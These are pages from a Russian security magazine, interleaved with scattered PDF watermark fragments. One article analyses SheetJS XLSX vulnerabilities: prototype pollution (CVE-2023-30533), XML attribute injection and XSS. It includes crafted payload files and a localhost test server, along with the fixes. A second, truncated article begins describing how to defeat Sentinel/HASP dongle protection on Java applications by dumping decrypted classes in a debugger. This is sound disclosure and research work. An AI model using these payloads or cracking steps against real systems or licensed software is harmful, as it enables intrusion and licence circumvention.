 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК РАБОТАЮТ УЯЗВИМОСТИ В БИБЛИОТЕКЕ SHEETJS

Пакет­ XLSX, выпущенный­ компани­ ей­ SheetJS, широко использует­ ся­ разработ­ ­ чиками для взаимо­ дей­ ствия­ с электрон­ ными таблицами­ в форматах­ XLSX и XLSM, в том числе­ применя­ ется­ в корпоратив­ ных­ продук­ тах­ . Анализи­ руя­ пакет, мы нашли­ несколь­ ко­ уязвимос­ тей­ . В этой статье я покажу, как они возникли­ и как их может эксплу­ ати­ ровать­ злоумыш­ ленник­ .

Всеволод Кокорин

Аудитор информационной безопасности SolidLab sevakokorin80@gmail.com

 

Статья имеет­ ознакоми­

тель­

ный­

характер­ и пред ­

 

назначена­

для

специалис­

тов­

по безопасности­

,

 

проводя­

щих­

тестирова­

ние­

 

в

рамках­

контрак­

та­ .

 

Автор и

редакция­

не несут

 

ответствен­

ности­

 

за любой вред, причинен­

ный­

 

с примене­

нием­

 

изложен­ ной­

информации­ . Распростра­

нение­

 

вре ­

 

доносных­

программ­

, нарушение­

работы систем­

 

и нарушение­

тайны­

переписки­ преследу­

ются­

 

по закону.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Давай­ вкратце­ посмотрим­ , как работае­ т SheetJS. Когда­ файл электрон­ ной­ таблицы­ XLSX передается­ функции­ XLSX.readFile, происхо­ ди­ т следующее­ :

Функция­ проверя­ ­ет тип файла­ , анализи­ ­руя первые­ байты­ заголовка­ . Если тип файла­ распознан­ как ZIP-архив, процесс­ продол­ ­жает­ся.

Файл архива­ распаковы­ ­вает­ся в память процес­ ­са, что позволя­ ­ет работать непосредс­ ­твен­но с XML-файлами­ , описыва­ ­ющи­ми структуру­ и данные­ электрон­ ­ной таблицы­ , а также­ с другими­ ресурсами­ , включая­ изображения­ и шрифты­ .

Парсер­ , встроенный­ в библиоте­ ­ку, начинае­ т разбор­ XML-тегов. Он ана ­

лизируе­ т структуру­

файла­ и

извлекае­ т необходимые­

данные­ , такие

как значения­

ячеек­ , форматиро­

вание­

и другие­ свойства­

таблицы­

.

Получен­ ­ные данные­ обычно­ представ­ ­ляют­ся в виде удобных­ структур­ , таких как массивы­ или объекты­ , чтобы­ их можно­ было легко­ использовать­ в приложе­ ­нии.

LIMITED PROTOTYPE POLLUTION

Описание недостатка

Уязвимость­ , связан­ ­ная с ограничен­ ­ным загрязне­ ­нием прототи­ ­па (Limited Prototype Pollution), возника­ ­ет при обработ­ ­ке коммента­ ­риев внутри­ загружен­ ­ ного документа­ в функции­ cmntcommon. В ней присваивает­ ­ся значение­ объ ­ екта по ключу­ , который может контро­ ­лиро­вать­ся пользовате­ ­лем.

else sheet[comment.ref] = cell;

Для дальнейше­ г­ о анализа­ важно­ понимать, что такое comment.ref. Это зна ­ чение попадае­ т в код из файла­ threadedCommentXXX.xml (где XXX — номер документа­ с коммента­ ­риями). Пример­ :

<threadedComment ref="G7" dT="2023-04-11T09:41:09.71" personId="{

29DB960B-0822-594C-AB20-3D499FA339C7}" id="{

962D1EF3-37F7-FF40-983D-B0762466C0AF}">

Обычно­ , когда­ файл создает­ ­ся в редакторе­ электрон­ ­ных таблиц­ , это не вызывае­ т проблем­ , так как адреса­ ячеек­ редактор­ сгенери­ ­рует автомати­ ­чес ­ ки и это будут допустимые­ значения­ .

Однак­ о разработ­ ­чики пакета XLSX не учли, что злоумыш­ ­ленник может вручну­ ю создать­ файл XLSX с произволь­ ­ным содержимым­ и специаль­ ­но сформировать­ адреса­ ячеек­ .

7z x normal.xlsx

; Вносим изменение в желаемые файлы

7z a NotNormal.zip ./\[Content_Types\].xml _rels/ docProps/ xl

mv NotNormal.zip NotNormal.xlsx

Для успешной эксплу­ ата­ ции­ загрузим­ обычный­ файл, но с таким threadedComment:

<threadedComment ref="__proto__" dT="2023-04-11T09:41:09.71"

personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{

962D1EF3-37F7-FF40-983D-B0762466C0AF}">

В таком случае­ значение­ comments.ref будет равн­ о __proto__, а cell будет содержать­ Object prototype.

Далее­ в коде функции­ находим обращение­ к cell:

if (!cell.c) cell.c = [];

Так как переменная­ содержи­ т prototype, то массив­ запишется­ в свойство­ c прототи­ ­па объекта­ . Это приведе­ т к тому, что при дальнейших­ провер­ ­ках все коммента­ ­рии будут записывать­ ­ся в один массив­ , так как значение­ cell.c будет всегда­ определе­ ­но. Разработ­ ­чикам следова­ ­ло использовать­ такую конструк­ ­цию:

if (!cell.hasOwnProperty("c")) cell.c = [];

Давай­ наброса­ ем­ доказатель­ ство­ концепции­ :

const express = require('express');

const fileUpload = require('express-fileupload');

const app = express();

const XLSX = require("xlsx");

//Middleware для обработки файлов app.use(fileUpload());

//Получение POST-запроса c обработкой загруженного файла app.post('/process', function(req, res) {

if (!req.files || Object.keys(req.files).length === 0) {

return res.status(400).send('Не найдены загруженные файлы.');

}

// Получение загруженного файла

const uploadedFile = req.files.file;

let a = XLSX.read(uploadedFile.data);

/*

Далее может следовать любая обработка файла и т. д.

*/

res.send('Файл успешно обработан.');

});

// Обработка GET-запроса c выдачей простого документа

app.get('/getSample', function(req, res) {

var ws = XLSX.utils.aoa_to_sheet([["SheetJS"], [5433795],[123123

]]);

var wb = XLSX.utils.book_new();

XLSX.utils.book_append_sheet(wb, ws, 'Sheet1');

const xlsxData = XLSX.write(wb, { type: 'buffer' });

// Возврат обработанного файла

res.set('Content-Type', 'application/vnd.

openxmlformats-officedocument.spreadsheetml.sheet');

res.set('Content-Disposition', 'attachment;

filename="processed_file.xlsx"');

res.send(xlsxData);

});

// Запуск сервера

app.listen(3000, function() {

console.log('Сервер запущен на порте 3000');

});

Этот скрипт принима­ ет­ файл для обработ­ ки­ на эндпоинте­ /process, а при запросе­ /getSample возвра­ щае­ т пример­ обычного­ файла­ XLSX (который не содержи­ т коммента­ риев­ ).

Сделаем­ несколь­ к­ о запросов­ на сервер­ . Сначала­ обратим­ ся­ к / getSample и откроем­ файл, чтобы­ просмотреть­ его содержимое­ :

$ curl http://localhost:3000

 

 

 

 

 

 

/getSample -o sample.xlsx

 

 

 

 

 

 

% Total

% Received

% Xferd

Average Speed

Time

Time

Time

Current

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Dload

Upload

Total

Spent

Left

Speed

 

 

 

 

 

 

 

 

 

 

0

0

0

0

0

0

0

0 --:--:-- --:--:-- --:-

-100 22023

100 22023

0

0

1312k

0

--:--:-- --:--:-- --:--:-

- 1955k

 

 

 

 

 

 

 

 

 

 

$ open sample.xlsx

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Содер­ жимое­ открытог­ о файла­

А теперь выполним­ серию запросов­ с нашим специаль­ ным­ файлом­ :

$ curl -X POST --form file=@

/Users/slonser/hack_xslsx/slon.xlsx http://localhost:3000/process

Файл успешно обработан­

.

 

 

 

 

 

 

$ curl http://localhost:3000

 

 

 

 

 

 

/getSample -o sample.xlsx

 

 

 

 

 

 

% Total

% Received % Xferd

Average Speed

Time

Time

Time

Current

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Dload

Upload

Total

Spent

Left

Speed

 

 

 

 

 

 

 

 

 

 

0

0

0

0

0

0

0

0 --:--:-- --:--:-- --:-

-100 22023

100 22023

0

0

1312k

0

--:--:-- --:--:-- --:--:-

- 1955k

 

 

 

 

 

 

 

 

 

 

$ open sample.xlsx

 

 

 

 

 

 

 

 

Текущее­ содержимое­ файла­

Реакция разработчиков

В версии­ 0.19.3 пакета XLSX разработ­ ­чики постарались­ устранить­ этот баг. Они добавили­ такую провер­ ­ку:

var r = decode_cell(comment.ref);

if(r.r < 0 || r.c < 0) return;

Теперь­ , если comment.ref содержи­ т невалидное­ название­ ячейки­ таблицы­ , выполнение­ функции­ прервется­ .

Багу­ выдан идентифика­ ­цион­ный номер CVE-2023-30533.

МОДИФИКАЦИЯ ФАЙЛОВ PERSON И THREADEDCOMMENT

Описание недостатка

Мы продол­ жили­ изучать­ функции­ , связан­ ные­ с коммента­ риями­ , и обнаружи­ ли­ возможность­ модифициро­ вать­ файлы­ person и threadedComment внутри­ ZIPархива­ .

Дело­ в том, что при создании­ файлов­ XLSX-атрибуты­ тегов внутри­ XMLструктуры­ всегда­ обрамляются­ двойными­ кавычками­ . Пример­ :

<comments xmlns="http://schemas.openxmlformats.org/spreadsheetml/

2006/main" ...

В функции­ parsexmltag, которая отвечае­ т за парсинг­ тегов, для извлечения­ значений­ атрибутов­ использует­ ­ся такое регулярное­ выражение­ :

var attregexg=/([^"\s?>\/]+)\s*=\s*((?:")([^"]*)(?:")|(?:')([^']*)(?:

')|([^'">\s]+))/g;

Оно явно откуда­ то скопиро­

вано­

и реализуе­ т полный­

парсинг­

атрибутов­

в соответс­

твии­

со стандартом­

RFC 5364. Здесь учтено­ , что атрибуты­

могут

быть в двойных­ или в одинар­ ных­ кавычках­ .

 

 

 

Теперь­

посмотрим­

функцию­

, которая отвечае­ т за

запись

в theradedComment:

o.push(writextag('threadedComment', writetag('text', c.t||""), tcopts

));

...

return o.join("");

Тут ясно видно­ , что все части­ XML-документа­ собираются­ в массив­ , а затем объеди­ няют­ ся­ в одну строку­ . Но в этом процес­ се­ нет фильтра­ ции­ данных­ , поступа­ ющих­ в функцию­ writetag. Давай посмотрим­ , что у нее внутри­ :

function writetag(f,g) { return '<' + f + (g.match(wtregex)?' xml:

space="preserve"' : "") + '>' + g + '</' + f + '>'; }

Здесь понятно­ , что наши данные­ превраща­ ются­ в теги, но без предваритель­ ­ ной фильтра­ ции­ или провер­ ки­ .

function write_people_xml(people/*, opts*/) {

var o = [XML_HEADER, writextag('personList', null, {

'xmlns': XMLNS.TCMNT,

'xmlns:x': XMLNS_main[0]

}).replace(/[\/]>/, ">")];

people.forEach(function(person, idx) {

o.push(writextag('person', null, {

displayName: person,

id: "{54EE7950-7262-4200-6969-" + ("000000000000" + idx).

slice(-12) + "}",

userId: person,

providerId: "None"

}));

});

o.push("</personList>");

return o.join("");

}

В функции­ write_person_xml тоже нет фильтра­ ­ции данных­ .

Исполь­ ­зуем уже готовый код сервера­ с уязвимой­ версией­ XLSX, чтобы­ подтвер­ ­дить наличие проблемы­ .

Изменим­ файл person.xml следующим­ образом­ :

<personList xmlns="http://schemas.microsoft.com/office/spreadsheetml/

2018/threadedcomments" xmlns:x="http://schemas.openxmlformats.org/

spreadsheetml/2006/main"><person displayName='" Slonser="SolidLab'

id="{29DB960B-0822-594C-AB20-3D499FA339C7}" userId="" providerId="AD"

/></personList>

Как видно­ , displayName указан­ внутри­ одинар­ ных­ кавычек. Отправим­ этот файл:

$ curl -X POST --form file=@/solidlab.xlsx http://local host:3000/process

Файл успешно обработан­

.

 

 

 

 

 

 

$ curl http://localhost:3000/getSample -o solidlab1.xlsx

 

 

% Total

% Received % Xferd

Average Speed

Time

Time

Time

Current

 

 

 

 

 

 

 

 

 

 

 

 

Dload

Upload

Total

Spent

Left

Speed

 

 

 

 

 

 

 

 

100 21760

100 21760

0

0

1561k

0 --:--:-- --:--:-- --:--:--

2125k

 

 

 

 

 

 

 

 

Теперь­ распаку­ ем­ архив и просмотрим­ person.xml:

><person displayName="SheetJ5" id="{

54EE7950-7262-4200-6969-000000000000}" userId="SheetJ5" providerId=

"None"/><person displayName="" Slonser="SolidLab" id="{

54EE7950-7262-4200-6969-000000000001}" userId="" Slonser="SolidLab"

Тегу­ <threadedComment> был добавлен­ атрибу­ т Slonser со значени­ ­ем SolidLab. Такого атрибута­ нет в стандар­ ­тной структуре­ файлов­ формата­

XLSX.

Важный­ момент: для эксплу­ ата­ ции­ этого­ бага не требует­ ся­ загружать­ фай ­ лы с коммента­ риями­ . Если загрязне­ ние­ прототи­ па­ уже произош­ ло­ , то дос ­ таточно­ , чтобы­ имелась­ функция­ добавления­ коммента­ риев­ .

В совокупности­ с багом, который мы обсуждали­ в первой­ части­ статьи, это приводи­ т к изменени­ ю структуры­ XML-файла­ во всех следующих­ обра ­ батываемых­ файлах­ XLSX.

Изменение­ структуры­ XML может привес­ ти­ к различным­ проблемам­ , таким как:

наруше­ ­ние формата­ файла­ . Изменение­ структуры­ XML может дать неверный­ форма­ т XLSX и, соответс­ ­твен­но, ошибки­ при попытке­ его открыть или обработать­ ;

потеря­ данных­ . Изменение­ структуры­ XML может привес­ ­ти к потере или некоррек­ ­тно­му отображени­ ю данных­ в файле­ XLSX. Можно­ потерять данные­ в таблице­ ;

несоот­ ­ветс­твие ожидаемо­ ­му поведению­ . Если приложе­ ­ние,

использующее­ файлы­ XLSX, полагается­ на определен­ ­ную структуру­ XML, то изменение­ этой структуры­ может привес­ ­ти к непред­ ­ска­зуемо­му поведени­ ю приложе­ ­ния. Как следствие­ — ошибки­ , некоррек­ ­тные вычис ­ ления или другие­ проблемы­ .

Реакция разработчиков

Этот недостаток­ не был исправлен­ . По мнению­ разработ­ ­чиков пакета, баг не несет серьезных­ угроз безопасности­ вне контек­ ­ста Prototype Pollution.

XSS

Описание недостатка

Последний­ недостаток­ , который мы нашли­ в пакете XLSX, — уязвимость­ , свя ­ занная­ с межсай­ товым­ скриптингом­ (XSS) в функции­ преобра­ зова­ ния­ документа­ в HTML.

В коде функции­ make_html_row можн­ о заметить следующу­ ю строку­ :

if(cell.l && (cell.l.Target || "#").charAt(0) != "#") w = '<a href="'

+ cell.l.Target +'">' + w + '</a>';

Вызов­ cell.l.Target записывает­ ­ся в атрибу­ т href без какой либо фильтра­ ­ ции. Следова­ ­тель­но, из этого­ вызова можно­ выйти­ при загрузке­ файла­ . Дос ­ таточн­ о использовать­ трюк из прошлой­ части­ .

Давай­ воспро­ ­изве­дем этот баг. Вот серверный­ код, который будет обра ­ батывать­ XLSX и отправлять­ клиенту­ сгенери­ ­рован­ный HTML:

const express = require('express');

const fileUpload = require('express-fileupload');

const app = express();

const XLSX = require("xlsx");

//Middleware для обработки файлов app.use(fileUpload());

//Принимаем POST-запрос и обрабатываем загружаемый файл app.post('/process', function(req, res) {

if (!req.files || Object.keys(req.files).length === 0) {

return res.status(400).send('Не найдены загруженные файлы.');

}

// Получаем загруженный файл

const uploadedFile = req.files.file;

let a = XLSX.read(uploadedFile.data);

console.log(a)

res.send(XLSX.utils.sheet_to_html(a.Sheets.Sheet1));

});

// Запускаем сервер

app.listen(3000, function() {

console.log('Сервер запущен на порте 3000');

});

Для демонстра­ ции­ XSS нужно­ :

создать­ простой­ файл Excel и добавить ссылку­ на внешний­ ресурс в любую ячейку­ ;

распаковать­ файл Excel, чтобы­ иметь возможность­ редактировать­ его содержимое­ ;

в файле­ ./xl/worksheets/_rels/sheet1.xml.rels изменить­ атрибут­

Target на следующее­ значение­ :

Target='https://solidlab.ru/"><script>alert("Hello from SolidLab")

</script>'

запако­ ­вать файл обратно в форма­ т XLSX;

отпра­ ­вить запрос­ с изменен­ ­ным файлом­ на сервер­ , который обрабаты­ ­ вает файлы­ XLSX.

При выполнении­ этих шагов ты увидишь­ , что инъекция­ XSS будет выполнена­ при открытии­ файла­ .

Реакция разработчиков

Разработ­ ­чики постарались­ устранить­ эту уязвимость­ в версии­ пакета XLSX 0.19.3. Теперь данные­ из Target проходя­ т фильтра­ ­цию в функции­

escapehtml:

if(cell.l && (cell.l.Target || "#").charAt(0) != "#") w = '<a href="'

+ escapehtml(cell.l.Target) +'">' + w + '</a>';

CVE этому­ багу не присвоили­ .

ВЫВОДЫ

Итак, мы подробн­ о рассмот­ рели­ ряд уязвимос­ тей­ в пакете XLSX. Тут тебе и ограничен­ ное­ загрязне­ ние­ прототи­ па­ , и уязвимость­ межсай­ тового­ скрип ­

тинга (XSS).

Если­ ты в своей­ программе­ используешь­ XLSX, это может привес­ ­ти к ряду рисков­ :

при чтении­ недоверен­ ­ных файлов­ XLSX возможна­ кража­ или модификация­ данных­ , кража­ чужих данных­ и увеличе­ ­ние нагрузки­ на сервер­ ;

при преобра­ ­зова­нии недоверен­ ­ных файлов­ XLSX в HTML (или принятия­ данных­ ячейки­ из недоверен­ ­ных источников­ ) возможна­ эксплу­ ­ата­ция меж ­ сайтовог­ о скриптинга­ и кража­ данных­ пользовате­ ­лей.

РЕКОМЕНДАЦИИ

Чтобы­ не сталкивать­ ся­ с описан­ ной­ проблемой­ , я рекомендую­ следующее­ :

1.Обновле­ ­ние ПО. Настоятель­ ­но советую обновить­ пакет XLSX до вер ­ сии 0.19.3 или более поздней­ , где эти уязвимос­ ­ти уже устранены­ .

2.Валида­ ­ция входных­ данных­ . Нужн­ о уделить­ особое­ внимание­ валида ­ ции всех входных­ данных­ , передаваемых­ в функции­ XLSX. Это сделае­ т при ­ ложение­ в целом намного­ безопаснее­ .

3.Профилак­ ­тика Prototype Pollution. Для предот­ ­вра­щения Prototype Pollution следуе­ т избегать­ прямого­ использования­ пользователь­ ­ских вход ­ ных данных­ в качестве­ ключей­ объекта­ . Если это неизбежно­ , рассмот­ ­ри возможность­ применить­ механизм защиты, такой как фильтра­ ­ция ключей­ или блокиро­ ­вание доступа­ к прототи­ ­пам.

4.Исполь­ ­зование механизмов­ безопасности­ . По возможнос­ ­ти при ­

меняй Content Security Policy для дополнитель­ ­ной защиты от XSS-атак.

Надеюсь­ , этот текст поможет тебе защитить свое приложе­ ние­ или успешно попентестить­ чужое, чтобы­ выдать эти рекомендации­ ответствен­ ным­ за раз ­ работку­ .

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

КАК ВСКРЫВАЮТ ПРИЛОЖЕНИЯ, ЗАЩИЩЕННЫЕ АППАРАТНЫМ КЛЮЧОМ SENTINEL

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

Реверс­

инжиниринг­

написанных­

на Java

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

приложе­

­ний, если разработ­

­чики не позабо ­

 

 

 

 

 

 

 

 

 

 

 

 

тились

 

заранее

 

об их

 

защите,

 

обычно­

 

 

 

 

 

 

 

 

 

 

 

 

не представ­

­ляет трудностей­

. Именно­ чтобы­

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

усложнить жизнь

 

хакерам

 

и

 

исследова­

­

 

 

 

 

 

 

МВК

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

телям, используют­

­ся различные­

инстру­ ­мен ­

 

 

 

 

 

 

 

 

 

 

 

 

ты, один из которых — защита с аппарат­ ­

 

 

 

 

 

 

 

 

 

 

 

 

ным ключом­

 

Sentinel. Сегодня­ мы рассмот­

­

 

 

 

 

 

 

 

 

 

 

 

 

рим способ­

обхода­ такой защиты.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Тем, кто читал мои предыду­ щие­

статьи, посвящен­

ные­ защите­

приложе­ ний­

 

 

 

 

 

 

 

 

 

 

на Java, известн­ о самое слабое­ место­ такой защиты: прозрачность­

байт кода

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и невыносимая­

 

легкость­

восста­ нов­ ления­

его до исходников­ .

 

 

 

 

 

 

 

 

 

 

 

Поэто­ му­ разработ­

чики­

таких инстру­ мен­ тов­ стремят­ ся­ как можно­ хитрее­

спрятать­

 

код от любопытных­ глаз хакеров, используя­ различные­

приемы­ :

обфускацию­ , компиляци­

ю в натив, шифрование­

. Наглядный­

пример­

пос ­

леднег­ о мы начали разбирать­

в статье «Беззащит­

ная­ Java. Ломаем­ Java

 

 

 

 

 

 

 

 

bytecode encryption». Тогда­ мы останови­ лись­

 

на инлайн патчинге­

расшифро­

­

 

 

 

 

ванног­ о байт кода прямо­ из библиоте­

ки­ агента­ JVMTI. Сегодня­ мы продол­ ­

жим эту тему и научимся­ патчить­ непосредс­ твен­ но­ шифрован­

ный­ код.

 

 

 

 

В качестве­ примера­

мы возьмем­

приложе­ ние­ , защищенное­

Sentinel

Licensing API Java Class Library — специаль­

ной­ библиоте­

кой­ защиты Java-

классов­ , поставля­

емой­

к ключам­ типа Hasp. Почитать о том, как устроена­ эта

библиоте­

ка­ , можн­ о на сайте­ разработ­

чика­ . Само приложе­ ние­ защищено­

 

 

 

 

 

ключом­ Hasp, в его рабочем каталоге­ присутс­ тву­ ю­ т характерные­

 

для Sentinel

файлы­ hasp_rt.exe,

hasp_windows_x64_34344.dll,

haspvlib_34344.dll

испецифи­ ­чес­кие для Java HASPJava.dll, HASPJava_x64.dll,

sntljavaclsrt.dll, sntljavaclsrt_x64.dll. Detect It Easy предска­ зуемо­ указыва­ е­ т на NetHASP dongle reference и Hardlock dongle reference.

Мы по опыту­ знаем­ , что ломать эти библиоте­ ки­ «в лоб» лучше­ даже не пытать ­ ся, они весьма­ сурово виртуали­ зова­ ны­ и защищены­ от отладки и модифи ­ кации. Поэтому­ смотрим­ на компилиро­ ван­ ные­ классы­ , содержащи­ еся­ внутри­ JAR. Там тоже все мрачно­ : кроме­ главного­ класса­ , все остальные­ пошиф ­ рованы с высокой энтропией­ , пример­ но­ как описано­ в статье «Беззащит­ ная­

Java. Ломаем­ Java bytecode encryption». За исключени­ ем­ того, что криптор­ подклю­ чает­ ся­ не как JavaAgent при запуске­ приложе­ ния­ , а из главного­ клас ­ са, по сути представ­ ляюще­ го­ собой загрузчик­ приложе­ ния­ c единствен­ но­ открытым­ кодом:

public static void main(String[] stringArray) {

try {

String string;

String string2 = System.getProperty("java.class.path");

int n = Math.max(string2.lastIndexOf("\"), string2.lastIndexOf("/

"));

String string3 = string = string2.substring(0, ++n);

if (JavaClsEntry.isWindows()) {

string3 = string3 + "sntljavaclsrt";

if (0 == System.getProperty("sun.arch.data.model").compareTo("64

")) {

string3 = string3 + "_x64";

}

string3 = string3 + ".dll";

} else if (JavaClsEntry.isLinux()) {

string3 = string3 + "libsntljavaclsrt_x86_64.so";

} else {

return;

}

File file = new File(string3);

string3 = file.getAbsolutePath();

System.load(string3);

Class<?> clazz = Class.forName("com.MainApp");

Method method = clazz.getMethod("main", String[].class);

method.invoke(null, new Object[]{stringArray});

}

catch (Exception exception) {

exception.printStackTrace();

}

Загрузчик­ ничего не делает­ , кроме­ как загружа­ е­ т сентинелов­ скую­ нативную­ библиоте­ ку­ защиты, а затем главный­ класс программы­ . Если ключ не в поряд ­ ке, то главный­ класс попросту­ не расшифро­ выва­ ется­ и приложе­ ние­ рушится­ по неправиль­ ному­ формату­ байт кода класса­ . Собствен­ но­ , даже такую ошиб ­ ку можн­ о получить только­ после­ того, как библиоте­ ка­ выдаст окошко­ отсутс ­ твия ключа­ .

Как же нам теперь быть? Ведь, посколь­ ­ку здесь не происхо­ ­дит прямая­ под ­ мена JIT-компилято­ ­ра через JavaAgent, предложен­ ­ный в упомяну­ ­той выше статье способ­ не годится­ . Попробу­ ­ем подклю­ ­чить­ся отладчиком­ непосредс­ ­ твенн­ о к JIT-компилято­ ­ру. Немного­ покурив документацию­ , обнаружи­ ­ваем в библиоте­ ­ке JVM.DLL такую функцию­ :

JVM_DefineClassWithSource(JNIEnv *env, const char *name, jobject

loader, const jbyte *buf, jsize len, jobject pd, const char *source)

Как видн­ о из описания­ , эта функция­ компилиру­ е­ т класс из массива­ байт кода. Длина­ массива­ , название­ класса­ и даже исходного­ Java-модуля прилага­ ется­ . При наличии ключа­ , установив­ в нашем любимом отладчике­ x64dbg точку­ останова­ на вход этой функции­ , мы получаем­ в регистре­ R9 рас ­ шифрован­ ный­ класс, начиная с сигнатуры­ CAFEBABE, и его длину­ в регистре­ R14. В итоге­ его можн­ о легко­ сдампить­ на диск следующей­ командой­ :

savedata MainApp.class, R9, R14

В некоторых­ , наиболее­ простых­ случаях­ , когда­ зашифрован­ только­ главный­ класс, этого­ вполне­ достаточ­ но­ , чтобы­ снять защиту целиком, — просто­ запаковыва­ ем­ расшифро­ ван­ ный­ главный­ класс вместо­ старого­ и переопре­ ­ деляем­ его в манифесте­ . Если зашифрован­ ных­ классов­ немного­ , то их тоже можн­ о сдампить­ по очереди­ и бороться­ с привяз­ кой­ к ключу­ уже в расшифро­ ­ ванных­ классах­ . Обычно­ подобная­ защита предполага­ е­ т наличие в модуле

уже Java-классов­ Aladdin/Hasp.class, Aladdin/HaspApiVersion.class,

Aladdin/HaspStatus.class и Aladdin/HaspTime.class. Однак­ о зашиф ­

рованных­ классов­ может быть очень много­ , так что дампить­ их вручную­ по очереди­ непродук­ ­тивно.

Можно­ , конечно­ , автомати­ зиро­ вать­ процесс­ при помощи костылей­ — сде ­ лать загрузчик­ , который подклю­ чает­ ся­ к запущенному­ процес­ су­ и сохраня­ ет­ классы­ из памяти по очереди­ , но это слишком­ извращен­ ное­ решение даже для меня. К тому же мы хоть и ленивые, но достаточ­ но­ любопытные­ и нам интерес­ н­ о докопаться­ до сути. Для начала — понять, как именно­ происхо­ дит­ расшифров­ ка­ криптован­ ных­ классов­ .

На первый­ взгляд, задача выгляди­ т жутковато­ — как я уже говорил, сен ­ тинеловские­ библиоте­ ­ки по взрослому­ покрипто­ ­ваны и виртуали­ ­зиро­ваны, вдобавок­ сражают­ ­ся с отладчиком­ при попытке­ их трассиров­ ­ки. Но мы все таки попробу­ ­ем отловить­ момент расшифров­ ­ки. Для начала просто­ прер ­ вемся в отладчике­ , когда­ появляет­ ­ся сообщение­ об отсутствии­ ключа­ . По сте ­ ку вызовов мы с удивлени­ ­ем обнаружи­ ­ваем, что уши провер­ ­ки ключа­ в сен ­ тинеловской­ библиоте­ ­ке sntljavaclsrt_x64 торча­ т из кернелов­ ­ской фун ­ кции чтения­ файла­ ReadFile, а еще точнее­ — из ее низкоуров­ ­невого вызова

NtReadFile.

В библиоте­ ке­ sntljavaclsrt_x64 есть даже соответс­ тву­ ющая­ экспортиру­ ­ емая функция­ , подменя­ ющая­ системную­ . Проверить­ это достаточ­ но­ просто­ : установив­ точку­ останова­ на вызов ReadFile из java.dll (выделен­ о на стеке­ вызовов на скриншоте­ ), мы обнаружи­ ваем­ , что ReadFile считыва­ е­ т уже впол ­ не себе расшифро­ ван­ ные­ блоки­ байт кода порциями­ по 0x400 байт.

Таким­ образом­ , мы узнали­ механизм встраива­ ния­ сентинелов­ ской­ защиты в JIT-компилятор­ Java. Однако­ на этот раз нам хотелось бы пойти­ дальше­ , чем в предыду­ щей­ статье, и выяснить­ алгоритм­ шифрования­ байт кода. Для этог­ о мы сначала­ ставим­ точку­ останова­ на вызов ReadFile из java.dll.

Чтобы­ отфильтро­ ­вать все побочные­ чтения­ из других­ файлов­ , установим­ фильтр­ на чтение­ блоков­ только­ размером­ в 0x400 байт. Для этог­ о в условии­ останов­ ­ки прописы­ ­ваем r8==0x400. По останов­ ­ке в этой точке­ адрес буфера чтения­ будет находиться­ в регистре­ RDX — ставим­ точку­ останова­ на первый­ байт этог­ о буфера. Выполнение­ останав­ ­лива­ется, когда­ в буфер записывают­ ­ ся зашифрован­ ­ные данные­ . Чтение­ байта­ из этого­ буфера тормозит­ ­ся в очень интерес­ ­ном месте­ — мы видим обфусцирован­ ­ный код sntljavaclsrt_x64:

00007FFC46EB31F5 | movzx ecx,byte ptr ds:[r12+rax]

00007FFC46EB31FA | mov edx,edi

